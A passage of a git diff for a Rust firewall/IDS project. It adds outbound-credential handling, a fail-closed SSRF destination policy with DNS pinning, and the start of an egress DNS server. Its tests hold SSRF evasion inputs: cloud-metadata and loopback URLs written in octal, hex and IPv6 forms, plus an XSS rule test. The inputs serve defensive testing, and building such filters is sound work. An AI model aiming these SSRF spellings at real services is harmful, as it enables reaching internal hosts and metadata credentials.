{other:?}"), + } + } + // POST bodies flow through the same engine surface. + match engine.evaluate( + "POST", + "/app/comment", + "comment=", + None, + &[], + ) { + ProvenEngineOutcome::Hit(hit) => { + assert!(hit.reason.contains("941100"), "{}", hit.reason); + } + other => panic!("body XSS expected hit, got {other:?}"), + } + // Benign traffic stays clean. + for uri in ["/app?q=hello", "/healthz", "/api/events"] { + assert_eq!( + engine.evaluate("GET", uri, "", None, &[]), + ProvenEngineOutcome::Clean, + "benign {uri} must stay clean" + ); + } + } +} diff --git a/src/credentials.rs b/src/credentials.rs index 02b7f39..d81cefe 100644 --- a/src/credentials.rs +++ b/src/credentials.rs @@ -11,6 +11,12 @@ use std::{collections::HashMap, io::ErrorKind, path::Path}; /// Well-known secret keys loaded into the registry at bootstrap. pub const CRED_ADMIN_TOKEN: &str = "admin_token"; pub const CRED_ADMIN_TOKENS: &str = "admin_tokens"; +pub const CRED_CONTROL_PLANE_URL: &str = "control_plane_url"; +pub const CRED_EGRESS_PROXY_TOKEN: &str = "egress_proxy_token"; +pub const CRED_DESTINATION_ALLOWLIST: &str = "destination_allowlist"; +pub const CRED_DESTINATION_DENYLIST: &str = "destination_denylist"; +pub const CRED_SOC_LLM_TOKEN: &str = "soc_llm_token"; +pub const CRED_TAXII_BEARER: &str = "taxii_bearer"; /// Where secret-bearing credentials were loaded from (never includes values). #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)] @@ -20,6 +26,8 @@ pub enum CredentialSource { File, /// Secrets came only from env bootstrap (`ADMIN_TOKEN` / `ADMIN_TOKENS`). Env, + /// Secrets came from both the credentials file and env bootstrap. + Mixed, /// No admin secrets configured. #[default] None, @@ -30,6 +38,7 @@ impl CredentialSource { match self { Self::File => "file", Self::Env => "env", + Self::Mixed => "mixed", Self::None => "none", } } @@ -73,6 +82,10 @@ impl CredentialRegistry { credentials_path: Option<&Path>, env_admin_token: Option, env_admin_tokens: Option, + env_control_plane_url: Option, + env_egress_proxy_token: Option, + env_destination_allowlist: Option, + env_destination_denylist: Option, ) -> Result { let mut values = HashMap::new(); let mut from_file = false; @@ -88,7 +101,16 @@ impl CredentialRegistry { path.display() ) })?; - for key in [CRED_ADMIN_TOKEN, CRED_ADMIN_TOKENS] { + for key in [ + CRED_ADMIN_TOKEN, + CRED_ADMIN_TOKENS, + CRED_CONTROL_PLANE_URL, + CRED_EGRESS_PROXY_TOKEN, + CRED_DESTINATION_ALLOWLIST, + CRED_DESTINATION_DENYLIST, + CRED_SOC_LLM_TOKEN, + CRED_TAXII_BEARER, + ] { if let Some(raw) = file_map.get(key) { let text = json_value_as_nonempty_string(raw); if let Some(text) = text { @@ -120,17 +142,56 @@ impl CredentialRegistry { values.insert(CRED_ADMIN_TOKENS.to_string(), tokens); from_env = true; } + if !values.contains_key(CRED_CONTROL_PLANE_URL) + && let Some(url) = env_control_plane_url.filter(|value| !value.is_empty()) + { + values.insert(CRED_CONTROL_PLANE_URL.to_string(), url); + from_env = true; + } + if !values.contains_key(CRED_EGRESS_PROXY_TOKEN) + && let Some(token) = env_egress_proxy_token.filter(|value| !value.is_empty()) + { + values.insert(CRED_EGRESS_PROXY_TOKEN.to_string(), token); + from_env = true; + } + for (key, value) in [ + (CRED_DESTINATION_ALLOWLIST, env_destination_allowlist), + (CRED_DESTINATION_DENYLIST, env_destination_denylist), + ] { + if !values.contains_key(key) + && let Some(value) = value.filter(|value| !value.trim().is_empty()) + { + values.insert(key.to_string(), value); + from_env = true; + } + } - let source = if from_file { - CredentialSource::File - } else if from_env { - CredentialSource::Env - } else { - CredentialSource::None + let source = match (from_file, from_env) { + (true, true) => CredentialSource::Mixed, + (true, false) => CredentialSource::File, + (false, true) => CredentialSource::Env, + (false, false) => CredentialSource::None, }; Ok(Self { values, source }) } + + /// Fill a missing secret from bootstrap transport. No-op when the key is + /// already present or the value is empty. Never logs the value. + pub fn load_optional_secret(&mut self, name: &str, env_value: Option) { + if self.values.contains_key(name) { + return; + } + let Some(value) = env_value.filter(|value| !value.is_empty()) else { + return; + }; + self.values.insert(name.to_string(), value); + self.source = match self.source { + CredentialSource::File => CredentialSource::Mixed, + CredentialSource::None => CredentialSource::Env, + source => source, + }; + } } fn json_value_as_nonempty_string(value: &serde_json::Value) -> Option { @@ -159,6 +220,10 @@ mod tests { None, Some("secret".to_string()), Some("tok:alice".to_string()), + None, + Some("proxy-secret".to_string()), + Some("public.example".to_string()), + Some("blocked.example".to_string()), ) .unwrap(); assert_eq!(registry.source(), CredentialSource::Env); @@ -167,17 +232,70 @@ mod tests { registry.get_credential(CRED_ADMIN_TOKENS), Some("tok:alice") ); + assert_eq!( + registry.get_credential(CRED_EGRESS_PROXY_TOKEN), + Some("proxy-secret") + ); + assert_eq!( + registry.get_credential(CRED_DESTINATION_ALLOWLIST), + Some("public.example") + ); + assert_eq!( + registry.get_credential(CRED_DESTINATION_DENYLIST), + Some("blocked.example") + ); assert!(registry.has_admin_auth()); } #[test] fn bootstrap_empty_when_no_secrets() { - let registry = - CredentialRegistry::bootstrap_secrets(None, None, Some(String::new())).unwrap(); + let registry = CredentialRegistry::bootstrap_secrets( + None, + None, + Some(String::new()), + None, + None, + None, + None, + ) + .unwrap(); assert_eq!(registry.source(), CredentialSource::None); assert!(!registry.has_admin_auth()); } + #[test] + fn load_optional_secret_fills_missing_keys_only() { + let mut registry = CredentialRegistry::bootstrap_secrets( + None, + Some("secret".to_string()), + None, + None, + None, + None, + None, + ) + .unwrap(); + registry.load_optional_secret(CRED_SOC_LLM_TOKEN, Some("llm-token".into())); + registry.load_optional_secret(CRED_SOC_LLM_TOKEN, Some("ignored".into())); + registry.load_optional_secret(CRED_TAXII_BEARER, Some(String::new())); + assert_eq!( + registry.get_credential(CRED_SOC_LLM_TOKEN), + Some("llm-token") + ); + assert!(registry.get_credential(CRED_TAXII_BEARER).is_none()); + assert_eq!(registry.get_credential(CRED_ADMIN_TOKEN), Some("secret")); + } + + #[test] + fn optional_env_secret_marks_file_registry_mixed() { + let mut registry = CredentialRegistry { + values: HashMap::from([(CRED_ADMIN_TOKEN.to_string(), "file-secret".into())]), + source: CredentialSource::File, + }; + registry.load_optional_secret(CRED_SOC_LLM_TOKEN, Some("env-secret".into())); + assert_eq!(registry.source(), CredentialSource::Mixed); + } + #[test] fn file_overrides_env_per_key() { let dir = std::env::temp_dir().join(format!( @@ -202,6 +320,10 @@ mod tests { Some(&path), Some("from-env".to_string()), Some("envtok:env".to_string()), + None, + None, + None, + None, ) .unwrap(); assert_eq!(registry.source(), CredentialSource::File); @@ -232,9 +354,13 @@ mod tests { Some(&path), Some("ignored".to_string()), Some("envtok:bob".to_string()), + None, + None, + None, + None, ) .unwrap(); - assert_eq!(registry.source(), CredentialSource::File); + assert_eq!(registry.source(), CredentialSource::Mixed); assert_eq!(registry.get_credential(CRED_ADMIN_TOKEN), Some("file-only")); assert_eq!( registry.get_credential(CRED_ADMIN_TOKENS), @@ -258,6 +384,10 @@ mod tests { Some(&path), Some("env-secret".to_string()), None, + None, + None, + None, + None, ) .unwrap(); assert_eq!(registry.source(), CredentialSource::Env); @@ -280,7 +410,9 @@ mod tests { std::fs::create_dir_all(&dir).unwrap(); let path = dir.join("credentials.json"); std::fs::write(&path, "not-json").unwrap(); - let err = CredentialRegistry::bootstrap_secrets(Some(&path), None, None).unwrap_err(); + let err = + CredentialRegistry::bootstrap_secrets(Some(&path), None, None, None, None, None, None) + .unwrap_err(); assert!(err.contains("not valid JSON")); let _ = std::fs::remove_dir_all(&dir); } diff --git a/src/destination.rs b/src/destination.rs new file mode 100644 index 0000000..0aaf998 --- /dev/null +++ b/src/destination.rs @@ -0,0 +1,826 @@ +//! Fail-closed destination policy for every outbound URL (issue #79). +//! +//! One checker is used for gateway upstreams, threat-intel fetches, Clearfolio, +//! and SOC-LLM calls. Structural URL parse happens first; DNS answers are then +//! classified. Deny-overrides win over allowlists. Loopback-class destinations +//! are allowed only when [`DestinationPolicy::development`] is selected (the +//! process itself is loopback-only). +//! +//! CIDR allowlist matches apply per resolved address (a private CIDR must not +//! exempt a sibling metadata/link-local answer). Non-default ports are allowed +//! when the host or a resolved CIDR is allowlisted. The outbound HTTP client +//! does not re-resolve: it connects only to addresses recorded by a successful +//! evaluation (Host/SNI stay on the original name). + +use std::{ + collections::HashMap, + net::{IpAddr, Ipv4Addr, Ipv6Addr, SocketAddr, ToSocketAddrs}, + sync::{Arc, Mutex}, +}; +use waf_ids_core::ip_in_network; + +/// Cap on remembered (host → evaluated IPs) pins so a hostile name flood +/// cannot grow the table without bound. Eviction is wholesale, not LRU. +const MAX_DESTINATION_PINS: usize = 4096; + +/// Outcome of a destination-policy check. `reason` never includes credentials +/// or query strings. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct DestinationDecision { + pub allowed: bool, + pub reason: String, + pub host: String, + pub ips: Vec, +} + +/// Stable failure class for outbound destination evaluation. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum DestinationError { + /// The URL is structurally invalid. + Invalid(String), + /// DNS resolution could not produce a trustworthy answer. + Unavailable(String), + /// Policy rejected an otherwise evaluable destination. + Denied(String), +} + +impl std::fmt::Display for DestinationError { + fn fmt(&self, formatter: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Invalid(message) | Self::Unavailable(message) | Self::Denied(message) => { + formatter.write_str(message) + } + } + } +} + +/// Hostname, suffix, or CIDR entry parsed from an operator allow/deny list. +#[derive(Debug, Clone, PartialEq, Eq)] +enum ListEntry { + Hostname(String), + Suffix(String), + Cidr { network: IpAddr, prefix_len: u8 }, +} + +/// Fail-closed policy applied to outbound http/https URLs. +#[derive(Debug, Clone)] +pub struct DestinationPolicy { + /// When true, loopback destinations are an allowed class (local development). + allow_loopback_class: bool, + allow: Vec, + deny: Vec, +} + +impl DestinationPolicy { + /// Production default: deny loopback, private, link-local, metadata, and + /// other non-global unicast classes unless an allowlist entry matches. + pub fn production() -> Self { + Self { + allow_loopback_class: false, + allow: Vec::new(), + deny: Vec::new(), + } + } + + /// Loopback-listener development: same denies except loopback-class IPs + /// and `localhost` are permitted so in-process fixtures can run. + pub fn development() -> Self { + Self { + allow_loopback_class: true, + allow: Vec::new(), + deny: Vec::new(), + } + } + + /// Operator-visible policy class (`production` or `development`). + pub fn mode(&self) -> &'static str { + if self.allow_loopback_class { + "development" + } else { + "production" + } + } + + /// Parse comma-separated allow/deny lists (`host`, `*.suffix`, `cidr`). + pub fn with_lists(mut self, allow: &str, deny: &str) -> Result { + self.allow = parse_list(allow)?; + self.deny = parse_list(deny)?; + Ok(self) + } + + /// Evaluate `raw` with `resolver`. Denied destinations return `Err`. + pub fn evaluate( + &self, + raw: &str, + resolver: &dyn HostResolver, + ) -> Result { + let parsed = parse_outbound_url(raw).map_err(DestinationError::Invalid)?; + let ips = + resolve_host_ips(&parsed.host, resolver).map_err(DestinationError::Unavailable)?; + let host_allowlisted = host_allowlisted(&self.allow, &parsed.host); + + if let Some(entry) = self.matching_entry(&self.deny, &parsed.host, &ips) { + return Err(DestinationError::Denied(format!( + "destination {} denied by denylist ({})", + parsed.host, + entry_label(entry) + ))); + } + + let every_ip_cidr_allowlisted = + !ips.is_empty() && ips.iter().all(|ip| cidr_allows(&self.allow, *ip)); + let loopback_ok = self.allow_loopback_class + && (parsed.host == "localhost" || ips.iter().any(|ip| ip.is_loopback())); + if parsed.port != 80 + && parsed.port != 443 + && !host_allowlisted + && !every_ip_cidr_allowlisted + && !loopback_ok + { + return Err(DestinationError::Denied(format!( + "destination port {} is not a default http/https port", + parsed.port + ))); + } + + for ip in &ips { + if ip_is_denied_class(*ip) { + let this_cidr = cidr_allows(&self.allow, *ip); + if this_cidr || (self.allow_loopback_class && ip.is_loopback()) { + continue; + } + return Err(DestinationError::Denied(format!( + "destination {} resolved to denied address class {ip}", + parsed.host + ))); + } + } + + Ok(DestinationDecision { + allowed: true, + reason: format!("destination {} permitted", parsed.host), + host: parsed.host, + ips, + }) + } +} + +/// Process-local map of hostname → addresses that already passed policy. +/// +/// The outbound reqwest client uses [`PinnedDns`] so TCP connects to these +/// addresses and never asks the OS resolver a second time (DNS rebinding / +/// TOCTOU close). +#[derive(Default)] +pub(crate) struct DestinationPins { + inner: Mutex>>, +} + +impl DestinationPins { + pub(crate) fn record(&self, host: &str, ips: &[IpAddr]) { + let host = normalize_dns_host(host); + let mut map = self.inner.lock().expect("destination pin lock"); + if map.len() >= MAX_DESTINATION_PINS { + map.clear(); + } + map.insert(host, ips.to_vec()); + } + + pub(crate) fn lookup(&self, host: &str) -> Option> { + let host = normalize_dns_host(host); + self.inner + .lock() + .expect("destination pin lock") + .get(&host) + .cloned() + } +} + +/// reqwest DNS resolver that returns only pre-authorized addresses. +pub(crate) struct PinnedDns { + pins: Arc, +} + +impl PinnedDns { + pub(crate) fn new(pins: Arc) -> Self { + Self { pins } + } +} + +#[derive(Debug)] +struct UnpinnedHost(String); + +impl std::fmt::Display for UnpinnedHost { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "destination host {} is not pre-authorized", self.0) + } +} + +impl std::error::Error for UnpinnedHost {} + +impl reqwest::dns::Resolve for PinnedDns { + fn resolve(&self, name: reqwest::dns::Name) -> reqwest::dns::Resolving { + let pins = Arc::clone(&self.pins); + let host = name.as_str().to_string(); + Box::pin(async move { + let Some(ips) = pins.lookup(&host) else { + return Err(Box::new(UnpinnedHost(normalize_dns_host(&host))) + as Box); + }; + let addrs: Vec = ips.into_iter().map(|ip| SocketAddr::new(ip, 0)).collect(); + Ok(Box::new(addrs.into_iter()) as reqwest::dns::Addrs) + }) + } +} + +fn normalize_dns_host(host: &str) -> String { + host.trim_end_matches('.').to_ascii_lowercase() +} + +struct ParsedOutbound { + host: String, + port: u16, +} + +/// Resolve a hostname to A/AAAA addresses. Tests inject a fake. +pub trait HostResolver { + fn resolve(&self, host: &str) -> Result, String>; +} + +/// Operating-system DNS via [`ToSocketAddrs`]. +#[derive(Debug, Default, Clone, Copy)] +pub struct SystemHostResolver; + +impl HostResolver for SystemHostResolver { + fn resolve(&self, host: &str) -> Result, String> { + let addrs = (host, 0) + .to_socket_addrs() + .map_err(|error| error.to_string())?; + let mut ips = Vec::new(); + for addr in addrs { + let ip = canonicalize_ip(addr.ip()); + if !ips.contains(&ip) { + ips.push(ip); + } + } + Ok(ips) + } +} + +fn resolve_host_ips(host: &str, resolver: &dyn HostResolver) -> Result, String> { + let mut ips = Vec::new(); + if host == "localhost" { + ips.push(IpAddr::V4(Ipv4Addr::LOCALHOST)); + } else if let Ok(ip) = host.parse::() { + ips.push(canonicalize_ip(ip)); + } else { + ips = resolver + .resolve(host) + .map_err(|error| format!("destination DNS failed for {host}: {error}"))?; + if ips.is_empty() { + return Err(format!("destination {host} resolved to no addresses")); + } + ips = ips.into_iter().map(canonicalize_ip).collect(); + } + Ok(ips) +} + +fn host_allowlisted(entries: &[ListEntry], host: &str) -> bool { + entries.iter().any(|entry| match entry { + ListEntry::Hostname(_) | ListEntry::Suffix(_) => matching_host(entry, host, &[]), + ListEntry::Cidr { .. } => false, + }) +} + +fn cidr_allows(entries: &[ListEntry], ip: IpAddr) -> bool { + entries.iter().any(|entry| match entry { + ListEntry::Cidr { + network, + prefix_len, + } => ip_in_network(*network, *prefix_len, ip), + _ => false, + }) +} + +fn parse_outbound_url(raw: &str) -> Result { + let parsed = reqwest::Url::parse(raw).map_err(|_| "destination URL must be absolute")?; + match parsed.scheme() { + "http" | "https" => {} + other => { + return Err(format!("destination scheme {other} is not http or https")); + } + } + if !parsed.username().is_empty() || parsed.password().is_some() { + return Err("destination URL must not contain userinfo".to_string()); + } + if parsed.fragment().is_some() { + return Err("destination URL must not contain a fragment".to_string()); + } + let host = parsed + .host_str() + .ok_or_else(|| "destination URL host is required".to_string())?; + let host = host.trim_start_matches('[').trim_end_matches(']'); + if host.is_empty() || host == "." { + return Err("destination URL host is ambiguous".to_string()); + } + if host_is_ambiguous_literal(host) { + return Err(format!( + "destination host {host} uses a forbidden numeric spelling" + )); + } + let port = parsed.port_or_known_default().unwrap_or(0); + Ok(ParsedOutbound { + host: normalize_dns_host(host), + port, + }) +} + +/// Validate the structural URL boundary without performing DNS resolution. +pub(crate) fn validate_outbound_url(raw: &str) -> Result<(), String> { + parse_outbound_url(raw).map(|_| ()) +} + +fn host_is_ambiguous_literal(host: &str) -> bool { + if host.chars().all(|c| c.is_ascii_digit()) { + return true; + } + let lowered = host.to_ascii_lowercase(); + // Bare hex IPv4 (0x7f000001), not a hostname that merely contains "0x". + if lowered.starts_with("0x") + && !lowered.contains('.') + && lowered[2..].chars().all(|c| c.is_ascii_hexdigit()) + && lowered.len() > 2 + { + return true; + } + let octets: Vec<&str> = lowered.split('.').collect(); + if octets.len() != 4 || octets.iter().any(|octet| octet.is_empty()) { + return false; + } + let all_numericish = octets.iter().all(|octet| octet_is_numericish(octet)); + let any_non_decimal = octets.iter().any(|octet| octet_is_hex_or_octal(octet)); + all_numericish && any_non_decimal +} + +fn octet_is_numericish(octet: &str) -> bool { + octet.chars().all(|c| c.is_ascii_digit()) + || (octet.starts_with("0x") && octet[2..].chars().all(|c| c.is_ascii_hexdigit())) +} + +fn octet_is_hex_or_octal(octet: &str) -> bool { + (octet.starts_with("0x") + && octet.len() > 2 + && octet[2..].chars().all(|c| c.is_ascii_hexdigit())) + || (octet.len() > 1 && octet.starts_with('0') && octet.chars().all(|c| c.is_ascii_digit())) +} + +fn canonicalize_ip(ip: IpAddr) -> IpAddr { + match ip { + IpAddr::V6(v6) => v6.to_ipv4_mapped().map(IpAddr::V4).unwrap_or(ip), + IpAddr::V4(_) => ip, + } +} + +fn ip_is_denied_class(ip: IpAddr) -> bool { + match ip { + IpAddr::V4(v4) => { + v4.is_loopback() + || v4.is_unspecified() + || v4.is_private() + || v4.is_link_local() + || v4.is_broadcast() + || v4.is_multicast() + || v4.is_documentation() + || v4.octets()[0] == 0 + || is_metadata_v4(v4) + || ip_in_network(IpAddr::V4(Ipv4Addr::new(100, 64, 0, 0)), 10, ip) + || ip_in_network(IpAddr::V4(Ipv4Addr::new(198, 18, 0, 0)), 15, ip) + } + IpAddr::V6(v6) => { + v6.is_loopback() + || v6.is_unspecified() + || v6.is_multicast() + || v6.is_unicast_link_local() + || v6.is_unique_local() + || ip_in_network( + IpAddr::V6(Ipv6Addr::new(0x2001, 0xdb8, 0, 0, 0, 0, 0, 0)), + 32, + ip, + ) + || ip_in_network( + IpAddr::V6(Ipv6Addr::new(0xfec0, 0, 0, 0, 0, 0, 0, 0)), + 10, + ip, + ) + || v6 + .to_ipv4() + .is_some_and(|v4| ip_is_denied_class(IpAddr::V4(v4))) + || (v6.segments()[..6] == [0x64, 0xff9b, 0, 0, 0, 0] + && ip_is_denied_class(IpAddr::V4(Ipv4Addr::new( + v6.octets()[12], + v6.octets()[13], + v6.octets()[14], + v6.octets()[15], + )))) + } + } +} + +fn is_metadata_v4(v4: Ipv4Addr) -> bool { + v4.octets() == [169, 254, 169, 254] +} + +fn parse_list(raw: &str) -> Result, String> { + let mut out = Vec::new(); + for item in raw.split(',') { + let item = item.trim(); + if item.is_empty() { + continue; + } + if let Some((addr, prefix)) = item.split_once('/') { + let network: IpAddr = addr + .parse() + .map_err(|_| format!("invalid CIDR address {addr}"))?; + let prefix_len: u8 = prefix + .parse() + .map_err(|_| format!("invalid CIDR prefix {prefix}"))?; + let max_prefix = match network { + IpAddr::V4(_) => 32, + IpAddr::V6(_) => 128, + }; + if prefix_len > max_prefix { + return Err(format!( + "CIDR prefix {prefix_len} exceeds {max_prefix} for {network}" + )); + } + out.push(ListEntry::Cidr { + network, + prefix_len, + }); + continue; + } + let host = item.trim_start_matches("*").trim_start_matches('.'); + let host = host.trim_end_matches('.').to_ascii_lowercase(); + if item.starts_with("*.") || item.starts_with('.') { + out.push(ListEntry::Suffix(format!(".{host}"))); + } else { + out.push(ListEntry::Hostname(host)); + } + } + Ok(out) +} + +fn matching_host(entry: &ListEntry, host: &str, ips: &[IpAddr]) -> bool { + match entry { + ListEntry::Hostname(expected) => host.eq_ignore_ascii_case(expected), + ListEntry::Suffix(suffix) => host.ends_with(suffix) && host != &suffix[1..], + ListEntry::Cidr { + network, + prefix_len, + } => ips + .iter() + .any(|ip| ip_in_network(*network, *prefix_len, *ip)), + } +} + +impl DestinationPolicy { + fn matching_entry<'a>( + &'a self, + list: &'a [ListEntry], + host: &str, + ips: &[IpAddr], + ) -> Option<&'a ListEntry> { + list.iter().find(|entry| matching_host(entry, host, ips)) + } +} + +fn entry_label(entry: &ListEntry) -> String { + match entry { + ListEntry::Hostname(h) => h.clone(), + ListEntry::Suffix(s) => format!("*{s}"), + ListEntry::Cidr { + network, + prefix_len, + } => format!("{network}/{prefix_len}"), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::collections::HashMap; + + struct MapResolver(HashMap>); + + impl HostResolver for MapResolver { + fn resolve(&self, host: &str) -> Result, String> { + self.0 + .get(host) + .cloned() + .ok_or_else(|| format!("no fixture for {host}")) + } + } + + fn resolver(pairs: &[(&str, &str)]) -> MapResolver { + let mut map = HashMap::new(); + for (host, ip) in pairs { + map.insert( + (*host).to_string(), + vec![ip.parse::().expect("fixture ip")], + ); + } + MapResolver(map) + } + + fn deny(policy: &DestinationPolicy, url: &str, resolver: &MapResolver, needle: &str) { + let err = policy.evaluate(url, resolver).unwrap_err().to_string(); + assert!( + err.contains(needle), + "expected {needle:?} in {err:?} for {url}" + ); + assert!( + !err.contains('@') && !err.contains("://user"), + "decision must not leak credentials: {err}" + ); + } + + #[test] + fn production_denies_ssrf_classes_and_ambiguous_spellings() { + let policy = DestinationPolicy::production(); + let dns = resolver(&[ + ("evil.example", "10.0.0.5"), + ("meta.example", "169.254.169.254"), + ("mixed.example", "203.0.113.10"), + ("cgnat.example", "100.64.0.1"), + ("ula.example", "fd12:3456:789a::1"), + ("example.com", "8.8.8.8"), + ]); + deny(&policy, "http://127.0.0.1/", &dns, "denied address class"); + deny(&policy, "http://0.0.0.0/", &dns, "denied address class"); + deny( + &policy, + "http://192.168.1.10/", + &dns, + "denied address class", + ); + deny( + &policy, + "http://169.254.169.254/", + &dns, + "denied address class", + ); + deny(&policy, "http://[::1]/", &dns, "denied address class"); + deny(&policy, "http://[fe80::1]/", &dns, "denied address class"); + deny( + &policy, + "http://[::ffff:127.0.0.1]/", + &dns, + "denied address class", + ); + deny( + &policy, + "http://[::127.0.0.1]/", + &dns, + "denied address class", + ); + deny( + &policy, + "http://[64:ff9b::127.0.0.1]/", + &dns, + "denied address class", + ); + deny(&policy, "http://2130706433/", &dns, "denied"); + deny(&policy, "http://0x7f.0.0.1/", &dns, "denied"); + deny(&policy, "http://0177.0.0.1/", &dns, "denied"); + deny(&policy, "https://user:pass@example.com/", &dns, "userinfo"); + deny(&policy, "https://example.com/#frag", &dns, "fragment"); + deny(&policy, "ftp://example.com/", &dns, "not http or https"); + deny( + &policy, + "http://evil.example/", + &dns, + "denied address class", + ); + deny( + &policy, + "http://meta.example/", + &dns, + "denied address class", + ); + deny( + &policy, + "http://cgnat.example/", + &dns, + "denied address class", + ); + deny(&policy, "http://ula.example/", &dns, "denied address class"); + deny( + &policy, + "https://example.com:8443/", + &dns, + "not a default http/https port", + ); + } + + #[test] + fn mixed_public_and_denied_answers_fail_closed() { + let policy = DestinationPolicy::production(); + let mut map = HashMap::new(); + map.insert( + "split.example".to_string(), + vec!["8.8.8.8".parse().unwrap(), "10.1.1.1".parse().unwrap()], + ); + let dns = MapResolver(map); + deny( + &policy, + "https://split.example/", + &dns, + "denied address class 10.1.1.1", + ); + } + + #[test] + fn resolver_failure_has_a_stable_unavailable_class() { + let error = DestinationPolicy::production() + .evaluate("https://offline.example/", &resolver(&[])) + .unwrap_err(); + assert!(matches!(error, DestinationError::Unavailable(_))); + } + + #[test] + fn allowlist_permits_otherwise_denied_class_and_denylist_wins() { + let policy = DestinationPolicy::production() + .with_lists("10.0.0.0/8,*.internal.example", "blocked.internal.example") + .unwrap(); + let dns = resolver(&[ + ("svc.internal.example", "10.2.3.4"), + ("blocked.internal.example", "10.2.3.5"), + ("public.example", "8.8.8.8"), + ]); + policy + .evaluate("https://svc.internal.example/", &dns) + .unwrap(); + deny( + &policy, + "https://blocked.internal.example/", + &dns, + "denied by denylist", + ); + policy.evaluate("https://public.example/", &dns).unwrap(); + } + + #[test] + fn hostname_allowlist_never_exempts_denied_or_mixed_answers() { + let policy = DestinationPolicy::production() + .with_lists("*.internal.example", "") + .unwrap(); + let mut map = HashMap::new(); + map.insert( + "svc.internal.example".to_string(), + vec!["8.8.8.8".parse().unwrap(), "10.2.3.4".parse().unwrap()], + ); + deny( + &policy, + "https://svc.internal.example/", + &MapResolver(map), + "denied address class 10.2.3.4", + ); + } + + #[test] + fn development_allows_loopback_but_still_denies_rfc1918() { + let policy = DestinationPolicy::development(); + let dns = resolver(&[("app.local", "127.0.0.1")]); + policy + .evaluate("http://127.0.0.1:80/healthz", &dns) + .unwrap(); + policy.evaluate("http://localhost/", &dns).unwrap(); + deny(&policy, "http://10.0.0.8/", &dns, "denied address class"); + } + + #[test] + fn trailing_dot_host_still_matches_allowlist() { + let policy = DestinationPolicy::production() + .with_lists("origin.example", "") + .unwrap(); + let dns = resolver(&[("origin.example", "8.8.4.4")]); + policy + .evaluate("https://origin.example./path", &dns) + .unwrap(); + } + + #[test] + fn hex_substring_in_a_real_hostname_is_not_an_ip_literal() { + let policy = DestinationPolicy::production(); + let dns = resolver(&[]); + deny( + &policy, + "https://0x0.st/", + &dns, + "destination DNS failed for 0x0.st", + ); + deny(&policy, "http://0x7f000001/", &dns, "denied"); + } + + #[test] + fn cidr_allowlist_permits_non_default_port_on_matching_literal() { + let policy = DestinationPolicy::production() + .with_lists("10.0.0.0/8", "") + .unwrap(); + let dns = resolver(&[]); + policy.evaluate("http://10.1.2.3:8080/", &dns).unwrap(); + deny( + &policy, + "http://8.8.8.8:8080/", + &dns, + "not a default http/https port", + ); + } + + #[test] + fn cidr_allowlist_does_not_exempt_sibling_denied_class_answers() { + let policy = DestinationPolicy::production() + .with_lists("10.0.0.0/8", "") + .unwrap(); + let mut map = HashMap::new(); + map.insert( + "split.internal".to_string(), + vec![ + "10.1.1.1".parse().unwrap(), + "169.254.169.254".parse().unwrap(), + ], + ); + let dns = MapResolver(map); + deny( + &policy, + "https://split.internal/", + &dns, + "denied address class 169.254.169.254", + ); + } + + #[test] + fn cidr_non_default_port_requires_every_answer_to_match() { + let policy = DestinationPolicy::production() + .with_lists("10.0.0.0/8", "") + .unwrap(); + let mut map = HashMap::new(); + map.insert( + "mixed.example".to_string(), + vec!["10.1.1.1".parse().unwrap(), "8.8.8.8".parse().unwrap()], + ); + deny( + &policy, + "https://mixed.example:8443/", + &MapResolver(map), + "not a default http/https port", + ); + } + + #[test] + fn invalid_cidr_prefix_is_rejected_at_parse() { + let v4 = DestinationPolicy::production().with_lists("10.0.0.0/33", ""); + assert!( + v4.unwrap_err().contains("CIDR prefix 33 exceeds 32"), + "IPv4 prefix must be at most /32" + ); + let v6 = DestinationPolicy::production().with_lists("2001:db8::/129", ""); + assert!( + v6.unwrap_err().contains("CIDR prefix 129 exceeds 128"), + "IPv6 prefix must be at most /128" + ); + } + + #[test] + fn production_denies_deprecated_ipv6_site_local() { + let policy = DestinationPolicy::production(); + let dns = resolver(&[]); + deny(&policy, "http://[fec0::1]/", &dns, "denied address class"); + assert_eq!(policy.mode(), "production"); + assert_eq!(DestinationPolicy::development().mode(), "development"); + } + + #[test] + fn pin_board_records_evaluated_ips_and_normalizes_the_host() { + let pins = DestinationPins::default(); + let loopback: IpAddr = "127.0.0.1".parse().unwrap(); + pins.record("Pin-Test.invalid.", &[loopback]); + assert_eq!(pins.lookup("pin-test.invalid"), Some(vec![loopback])); + assert_eq!(pins.lookup("PIN-TEST.invalid."), Some(vec![loopback])); + assert!(pins.lookup("other.invalid").is_none()); + } + + #[test] + fn pin_board_evicts_when_the_cap_is_exceeded() { + let pins = DestinationPins::default(); + let loopback: IpAddr = "127.0.0.1".parse().unwrap(); + for i in 0..MAX_DESTINATION_PINS { + pins.record(&format!("host{i}.invalid"), &[loopback]); + } + pins.record("overflow.invalid", &[loopback]); + assert!( + pins.lookup("host0.invalid").is_none(), + "wholesale eviction must drop the oldest batch" + ); + assert_eq!(pins.lookup("overflow.invalid"), Some(vec![loopback])); + } +} diff --git a/src/egress_dns.rs b/src/egress_dns.rs new file mode 100644 index 0000000..b08feb0 --- /dev/null +++ b/src/egress_dns.rs @@ -0,0 +1,633 @@ +use crate::AppState; +use hickory_proto::{ + op::{Message, MessageType, OpCode, ResponseCode}, + rr::{ + Name, RData, Record, RecordType, + rdata::{A, AAAA, SOA, TXT}, + }, + serialize::binary::{BinDecodable, BinEncodable, BinEncoder}, +}; +use std::{sync::Arc, time::Duration}; +use tokio::{ + io::{AsyncReadExt, AsyncWriteExt}, + net::{TcpListener, TcpStream, UdpSocket}, + sync::{Semaphore, watch}, +}; + +const DNS_PACKET_MAX_BYTES: usize = 4096; +const DNS_UDP_MAX_BYTES: usize = 512; +const DNS_TTL_SECONDS: u32 = 30; +const DNS_MAX_IN_FLIGHT: usize = 64; +const DNS_MAX_ANSWERS: usize = 16; + +async fn answer(state: &AppState, packet: &[u8]) -> Option> { + let request = Message::from_bytes(packet).ok()?; + if request.metadata.message_type != MessageType::Query + || request.metadata.op_code != OpCode::Query + { + return None; + } + let mut response = Message::new(request.metadata.id, MessageType::Response, OpCode::Query); + response.metadata.recursion_desired = request.metadata.recursion_desired; + response.metadata.recursion_available = true; + for query in &request.queries { + response.add_query(query.clone()); + } + if 